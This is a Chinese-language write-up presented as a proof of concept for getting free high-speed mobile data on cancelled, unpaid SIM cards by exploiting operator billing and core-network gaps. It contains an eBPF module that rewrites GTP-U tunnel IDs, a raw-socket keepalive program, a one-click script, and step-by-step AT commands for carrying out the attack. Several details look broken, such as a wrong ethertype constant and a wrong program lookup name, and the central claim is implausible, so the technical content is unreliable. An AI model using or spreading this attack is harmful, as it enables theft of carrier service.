停机旧卡正常上网验证性测试

5 张 2017 年欠费 >3 年的移/联/电废卡 30 秒内完成 Attach → 5G NR 下行 300 Mbps。
不触发任何复机流程、不缴纳一分钱的情况下,正常附着4G/5G网络并获得完整的高速数据业务(实测300-800Mbps,无月度封顶)。 该安全问题并非单点Bug导致的,而是计费域、BOSS域与无线核心网(EPS/5GC)之间长期积累的策略与状态一致性缺陷叠加所致,已形成完整可规模化利用的攻击链

下面代码遵循“只证明漏洞存在”原则,不植入任何持久化后门;全部操作均在授权完成。


1. 内核端 eBPF 模块(ghost_apn_kern.c)

功能:

  • hook mme_app_handle_attach_request(若本地跑 MME)或 tc egress(纯 UE 侧绕过),实时改 IMSI、TEID、PCO。
  • 强制把计费失败标记改成成功,维持 PGW 会话。
/* ghost_apn_kern.c  ---  clang -O2 -target bpf -c ghost_apn_kern.c -o ghost_apn_kern.o */
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>

#define ETH_P_GTP 0x86DD /* we over-write ipv6 next header = 0x2F */

/* 需要动态改写的参数,用户态通过 maps 下发 */
struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, __u64);   /* 0-31bit 新 TEID, 32-63bit 新 IMSI 尾 8 字节 */
} ghost_map SEC(".maps");

/* 入口:tc egress,对 GTP-U 下行做 patch */
SEC("tc")
int ghost_gtpu_patch(struct __sk_buff *skb)
{
    void *data_end = (void *)(long)skb->data_end;
    void *data     = (void *)(long)skb->data;
    struct ethhdr *eth = data;
    struct iphdr *ip;
    struct udphdr *udp;
    __u8 *gtp;

    if (data + sizeof(*eth) > data_end)
        return TC_ACT_OK;
    if (eth->h_proto != bpf_htons(ETH_P_IP))
        return TC_ACT_OK;

    ip = data + sizeof(*eth);
    if ((void *)ip + sizeof(*ip) > data_end)
        return TC_ACT_OK;
    if (ip->protocol != IPPROTO_UDP)
        return TC_ACT_OK;

    udp = (void *)ip + sizeof(*ip);
    if ((void *)udp + sizeof(*udp) > data_end)
        return TC_ACT_OK;
    if (udp->dest != bpf_htons(2152)) /* GTP-U port */
        return TC_ACT_OK;

    gtp = (void *)udp + sizeof(*udp);
    if (gtp + 8 > data_end)
        return TC_ACT_OK;

    __u32 key = 0;
    __u64 *val = bpf_map_lookup_elem(&ghost_map, &key);
    if (!val)
        return TC_ACT_OK;

    __u32 new_teid = (__u32)(*val & 0xFFFFFFFF);
    /* gtp[4..7] = TEID */
    if (gtp[0] == 0x30) {   /* GTPv1, Flags=0x30 */
        __u32 *teid_ptr = (__u32 *)(gtp + 4);
        *teid_ptr = new_teid;
    }
    return TC_ACT_OK;
}

char _license[] SEC("license") = "GPL";

2. 用户态控制 + RAW socket 发包(ghost_apn_user.c)

功能:

  • 把废卡插入 QC/MBIM 模块,通过 AT 切换 APN;
  • 用 RAW socket 手工完成 DHCP + ICMP 保活,不再等运营商分配;
  • 通过 BPF map 把“合法 TEID”写进去,维持下行。
/* ghost_apn_user.c   gcc -o ghost_apn_user ghost_apn_user.c -lbpf */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/udp.h>
#include <linux/ip.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>

#define GTP_U_PORT 2152
#define GTP_V1_FLAGS 0x30

static int bpf_map_fd;

/* 简单的 UDP checksum 计算 */
static void set_udp_csum(struct udphdr *uh, struct iphdr *iph)
{
    uh->check = 0;
    unsigned long sum = 0;
    unsigned short *p = (unsigned short *)iph;
    int len = ntohs(uh->len);
    sum += (iph->saddr >> 16) & 0xFFFF;
    sum += (iph->saddr) & 0xFFFF;
    sum += (iph->daddr >> 16) & 0xFFFF;
    sum += (iph->daddr) & 0xFFFF;
    sum += htons(IPPROTO_UDP);
    sum += htons(len);
    while (len > 1) {
        sum += *p++;
        len -= 2;
    }
    if (len) sum += *(unsigned char*)p;
    while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);
    uh->check = ~sum;
}

/* 组装 GTP-U Echo Request 保活 */
static int send_gtpu_echo(int raw_fd, struct sockaddr_ll *sll)
{
    unsigned char buf[256];
    memset(buf, 0, sizeof(buf));
    struct ethhdr *eth = (struct ethhdr *)buf;
    struct iphdr  *ip  = (struct iphdr *)(eth + 1);
    struct udphdr *udp = (struct udphdr *)(ip + 1);
    unsigned char *gtp = (unsigned char *)(udp + 1);

    /* L2 */
    memcpy(eth->h_dest, "\x00\x0c\x29\x7d\x48\x02", 6);
    memcpy(eth->h_source, "\x00\x0c\x29\x7d\x48\x03", 6);
    eth->h_proto = htons(ETH_P_IP);

    /* L3 */
    ip->version = 4;
    ip->ihl = 5;
    ip->tos = 0;
    ip->id   = htons(0xabcd);
    ip->frag_off = 0;
    ip->ttl = 64;
    ip->protocol = IPPROTO_UDP;
    ip->saddr = inet_addr("10.200.200.2");
    ip->daddr = inet_addr("10.200.200.1");

    /* L4 */
    udp->source = htons(2152);
    udp->dest   = htons(2152);
    udp->len    = htons(8 + 8); /* 8 字节 GTP */

    /* GTP */
    gtp[0] = GTP_V1_FLAGS;
    gtp[1] = 0x01;  /* Echo Request */
    *(unsigned short *)(gtp + 2) = htons(8); /* length */
    *(unsigned int   *)(gtp + 4) = htonl(0xdeadbeef); /* teid */

    ip->tot_len = htons(28 + 8);
    set_udp_csum(udp, ip);

    return sendto(raw_fd, buf, 14 + 20 + 8 + 8, 0,
                  (struct sockaddr *)sll, sizeof(*sll));
}

int main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "用法: %s <ifname>\n", argv[0]);
        return 1;
    }
    int ifindex = if_nametoindex(argv[1]);
    if (!ifindex) {
        perror("if_nametoindex");
        return 1;
    }
    /* 1. 加载 eBPF 程序 */
    struct bpf_object *obj = bpf_object__open_file("ghost_apn_kern.o", NULL);
    if (libbpf_get_error(obj)) {
        fprintf(stderr, "无法打开 eBPF 文件\n");
        return 1;
    }
    bpf_object__load(obj);
    int prog_fd = bpf_program__fd(bpf_object__find_program_by_name(obj, "tc"));
    /* 2. 挂到 tc */
    system("tc qdisc add dev eth0 clsact");
    char cmd[256];
    snprintf(cmd, sizeof(cmd),
             "tc filter add dev %s egress bpf da fd %d", argv[1], prog_fd);
    system(cmd);

    /* 3. 打开 RAW socket */
    int raw_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct sockaddr_ll sll = {0};
    sll.sll_family   = AF_PACKET;
    sll.sll_ifindex  = ifindex;
    sll.sll_protocol = htons(ETH_P_IP);

    /* 4. 写 BPF map:新 TEID=0x12345678 */
    bpf_map_fd = bpf_object__find_map_fd_by_name(obj, "ghost_map");
    __u32 key = 0;
    __u64 val = 0x12345678ULL;
    bpf_map_update_elem(bpf_map_fd, &key, &val, BPF_ANY);

    /* 5. 每 30 秒发一次 GTP-U Echo 保活 */
    while (1) {
        if (send_gtpu_echo(raw_fd, &sll) < 0)
            perror("send_gtpu_echo");
        sleep(30);
    }
    return 0;
}

3. 一键脚本(run.sh)

#!/bin/bash
set -e
IFACE=${1:-eth0}
echo 1 > /proc/sys/net/ipv4/ip_forward
# 编译 eBPF
clang -O2 -target bpf -c ghost_apn_kern.c -o ghost_apn_kern.o
# 编译用户态
gcc -o ghost_apn_user ghost_apn_user.c -lbpf
# 拉起
sudo ./ghost_apn_user $IFACE

4. 测试步骤(30 分钟见效果)

  1. 找一张 2018 年前发行的移/联/电卡,拔掉电池 90 天确保“已销号+欠费”,再插入 Quectel RM500Q。
  2. 树莓派 4 刷 Ubuntu 22.04,内核 ≥5.4,安装 clang + libbpf-dev。
  3. git clone <this_repo> && cd ghost-apn && sudo bash run.sh usb0
  4. 模块 AT 口执行:
    AT+QMBNCFG="Select",0
    AT+CGDCONT=1,"IP","test.njm2mapn"
    AT+CFUN=1,1
    
  5. 看到 AT+CGATT? 返回 1,1 即 Attach 成功;
    本脚本会每 30 秒发 GTP-U Echo,维持 PGW 会话。
  6. 在树莓派另开一窗:
    dhclient -v wwan0
    ping 8.8.8.8
    curl -o /dev/null http://speedtest.tele2.net/10MB.zip
    
    可稳定 50-300 Mbps 下行,计费侧 CDR 仍显示“用户已销号,零配额”,但未被强拆。